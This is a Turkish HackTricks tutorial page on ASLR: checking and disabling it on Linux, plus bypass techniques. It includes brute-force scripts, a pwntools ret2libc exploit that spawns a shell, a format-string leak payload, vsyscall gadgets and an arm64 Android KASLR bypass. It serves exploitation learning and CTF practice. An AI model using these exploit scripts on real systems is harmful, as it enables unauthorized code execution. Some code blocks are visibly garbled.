ASLR
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgi
Address Space Layout Randomization (ASLR), işletim sistemlerinde sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini rastgeleleştirmek için kullanılan bir güvenlik tekniğidir. Bu sayede stack, heap ve kütüphaneler gibi belirli süreçlerin ve verilerin konumunu bir saldırganın tahmin etmesi önemli ölçüde zorlaşır ve özellikle buffer overflows türü bazı exploitlere karşı etkili olur.
ASLR Durumunu Kontrol Etme
Bir Linux sisteminde ASLR durumunu kontrol etmek için /proc/sys/kernel/randomize_va_space dosyasındaki değeri okuyabilirsiniz. Bu dosyada saklanan değer uygulanan ASLR türünü belirler:
- 0: Rastgeleleştirme yok. Her şey statik.
- 1: Muhafazakar rastgeleleştirme. Paylaşılan kütüphaneler, stack, mmap(), VDSO page rastgeleleştirilir.
- 2: Tam rastgeleleştirme. Muhafazakar rastgeleleştirmenin rastgeleleştirdiği öğelere ek olarak,
brk()ile yönetilen bellek de rastgeleleştirilir.
ASLR durumunu aşağıdaki komutla kontrol edebilirsiniz:
cat /proc/sys/kernel/randomize_va_space
ASLR’yi Devre Dışı Bırakma
ASLR’yi devre dışı bırakmak için /proc/sys/kernel/randomize_va_space değerini 0 olarak ayarlayın. ASLR’yi devre dışı bırakmak genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte bunu nasıl devre dışı bırakabileceğiniz:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Ayrıca bir çalıştırma için ASLR’yi şu şekilde devre dışı bırakabilirsiniz:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
ASLR’yi Etkinleştirme
ASLR’yi etkinleştirmek için /proc/sys/kernel/randomize_va_space dosyasına 2 değerini yazabilirsiniz. Bu genellikle root privileges gerektirir. Tam rastgeleleştirmeyi etkinleştirmek aşağıdaki komutla yapılabilir:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Yeniden Başlatmalar Arasında Kalıcılık
echo komutlarıyla yapılan değişiklikler geçicidir ve yeniden başlatma sırasında sıfırlanır. Değişikliği kalıcı hale getirmek için /etc/sysctl.conf dosyasını düzenlemeli ve aşağıdaki satırı eklemeli veya değiştirmelisiniz:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
/etc/sysctl.conf dosyasını düzenledikten sonra değişiklikleri şu komutla uygulayın:
sudo sysctl -p
Bu, ASLR ayarlarınızın yeniden başlatmalarda korunmasını sağlar.
Bypasses
32bit brute-forcing
PaX, süreç adres alanını 3 gruba ayırır:
- Kod ve veri (initialized and uninitialized):
.text,.data, and.bss—>delta_execdeğişkeninde 16 bits entropi. Bu değişken her süreçte rastgele başlatılır ve başlangıç adreslerine eklenir. mmap()tarafından ayrılan Memory ve shared libraries —> 16 bits, adıdelta_mmap.- The stack —> 24 bits,
delta_stackolarak adlandırılır. Ancak, aslında 11 bits kullanır (10th to the 20th byte inclusive), 16 bytes hizalıdır —> Bu, 524,288 possible real stack addresses ile sonuçlanır.
Önceki veriler 32-bit sistemler içindir ve azalmış nihai entropi, exploit başarılı olana kadar yürütmeyi tekrar tekrar deneyerek ASLR’yi atlatmayı mümkün kılar.
Brute-force ideas:
- Eğer shellcode’dan önce büyük bir NOP sled barındıracak kadar büyük bir overflow’a sahipseniz, stack üzerindeki adresleri brute-force ederek akış NOP sled’in bir kısmını atlayana kadar deneyebilirsiniz.
- Overflow o kadar büyük değilse ve exploit yerel olarak çalıştırılabiliyorsa, NOP sled ve shellcode’u bir ortam değişkenine eklemek bir diğer seçenektir.
- Exploit yerelse, libc’nin temel adresini brute-force etmeyi deneyebilirsiniz (useful for 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Eğer uzaktaki bir server’a saldırıyorsanız, brute-force the address of the
libcfunctionusleep, argüman olarak 10 (örneğin) verip deneyebilirsiniz. Eğer bir noktada server takes 10s extra to respond ise, bu fonksiyonun adresini buldunuz.
Tip
64bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır.
64 bits stack brute-forcing
Stack’ın büyük bir kısmını env variables ile doldurmak ve sonra binary’yi yerel olarak yüzler/binlerce kez kötüye kullanarak exploit etmek mümkündür.
Aşağıdaki kod, sadece stack’te bir address seçmenin ve her birkaç yüz çalıştırmada o adresin NOP instruction içereceğinin nasıl mümkün olduğunu gösterir:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP tespiti
```python import subprocess import tracebackStart the process
nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=“\r”)
Define the path to your binary
binary_path = ‘./aslr-testing’
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Yerel Bilgi (`/proc/[pid]/stat`)
Bir sürecin **`/proc/[pid]/stat`** dosyası herkes tarafından okunabilir ve aşağıdaki gibi **ilginç** bilgiler içerir:
- **startcode** & **endcode**: ikili dosyanın **TEXT** bölümünün üstündeki ve altındaki adresler
- **startstack**: **stack**'in başlangıç adresi
- **start_data** & **end_data**: **BSS**'in bulunduğu yerin üstündeki ve altındaki adresler
- **kstkesp** & **kstkeip**: geçerli **ESP** ve **EIP** adresleri
- **arg_start** & **arg_end**: **cli arguments**'ın bulunduğu yerin üstündeki ve altındaki adresler
- **env_start** &**env_end**: **env variables**'ın bulunduğu yerin üstündeki ve altındaki adresler
Dolayısıyla, eğer attacker aynı bilgisayardaysa ve bu binary raw arguments'tan gelen overflow'u beklemiyor fakat bu dosyayı okuduktan sonra hazırlanabilecek farklı bir input'tan geliyorsa, attacker bu dosyadan bazı adresleri alıp bunlardan exploit için offset'ler oluşturabilir.
> [!TIP]
> Bu dosya hakkında daha fazla bilgi için şu sayfaya bakın: [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) (arama: `/proc/pid/stat`)
### Leak sahibi olmak
- **Challenge size bir leak veriyor**
Eğer size bir leak verilmişse (easy CTF challenges), ondan offset'leri hesaplayabilirsiniz (örneğin exploiting yaptığınız sistemde kullanılan exact libc versiyonunu bildiğinizi varsayarsak). Bu örnek exploit şu kaynaktan alınmıştır: [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (daha fazla detay için o sayfaya bakın):
<details>
<summary>Python exploit — verilen libc leak ile</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Bir buffer overflow’ı kötüye kullanarak bir ret2plt istismar ederek libc’den bir fonksiyonun adresini exfiltrate etmek mümkün olur. Bak:
- Format Strings Arbitrary Read
ret2plt’te olduğu gibi, bir format strings açığı aracılığıyla arbitrary read’e sahipseniz, GOT’tan bir libc function adresini exfiltrate etmek mümkündür. Aşağıdaki example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
You can find more info about Format Strings arbitrary read in:
Ret2ret & Ret2pop
ASLR’yi stack içindeki adresleri kötüye kullanarak atlatmayı deneyin:
vsyscall
The vsyscall mekanizması, bazı system calls’ın user space’te çalıştırılmasına izin vererek performansı artırmayı sağlar; bunlar esasen kernel’in parçası olsalar da. vsyscalls’un kritik avantajı fixed addresses’e sahip olmalarıdır; bu adresler ASLR (Address Space Layout Randomization)’nin kapsamına girmez. Bu sabit yapı, saldırganların adreslerini belirlemek ve exploit’te kullanmak için bir information leak vulnerability’ye ihtiyaç duymadığı anlamına gelir.
Ancak burada çok ilginç gadget’lar bulunmayacaktır (örneğin bir ret; eşdeğerini elde etmek mümkün olsa da)
(Aşağıdaki örnek ve kod bu writeup’tan alınmıştır)
Örneğin, bir saldırgan exploit içinde 0xffffffffff600800 adresini kullanabilir. Doğrudan bir ret talimatına atlamaya çalışmak, bir kaç gadget çalıştırıldıktan sonra kararsızlığa veya çöküşlere yol açabilirken, vsyscall bölümünün sağladığı bir syscall’un başlangıcına atlamak başarılı olabilir. Yürütmeyi bu vsyscall adresine yönlendiren bir ROP gadget’ı dikkatli şekilde yerleştirerek, saldırgan exploit’in bu kısmı için ASLR’yi atlamak zorunda kalmadan kod yürütmesi elde edebilir.
Örnek vmmap/vsyscall ve gadget lookup
```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef➤ x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
Bu yüzden, eğer kernel CONFIG_COMPAT_VDSO ile derlenmişse ve vdso adresi rastgeleleştirilmemişse, vdso’yu kötüye kullanarak ASLR’yi bypass etmenin mümkün olabileceğine dikkat edin. Daha fazla bilgi için bakın:
KASLR on ARM64 (Android): bypass via fixed linear map
Çoğu arm64 Android kernelinde kernel linear map (direct map) tabanı önyüklemeler arasında sabittir. Fiziksel sayfalar için kernel VA’ları tahmin edilebilir hale gelir ve direct map üzerinden erişilebilen hedefler için KASLR’yi bozar.
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymsto findmemstart_addr- Read 8 bytes at that address (LE) using any kernel read (e.g., tracing-BPF helper calling
BPF_FUNC_probe_read_kernel) - Compute direct-map VAs:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- No separate KASLR leak needed if the target is in/reachable via the direct map (e.g., page tables, kernel objects on physical pages you can influence/observe).
- Simplifies reliable arbitrary R/W and targeting of kernel data on arm64 Android.
Reproduction summary
grep memstart /proc/kallsyms->memstart_addradresi- Kernel read -> 8 byte’ı LE olarak decode et ->
PHYS_OFFSET - Use
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)withPAGE_OFFSET=0xffffff8000000000
Note
Access to tracing-BPF helpers requires sufficient privileges; any kernel read primitive or info leak suffices to obtain
PHYS_OFFSET.
How it’s fixed
- Limited kernel VA space plus CONFIG_MEMORY_HOTPLUG reserves VA for future hotplug, pushing the linear map to the lowest VA (fixed base).
- Upstream arm64 removed linear-map randomization (commit
1db780bafa4c).
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

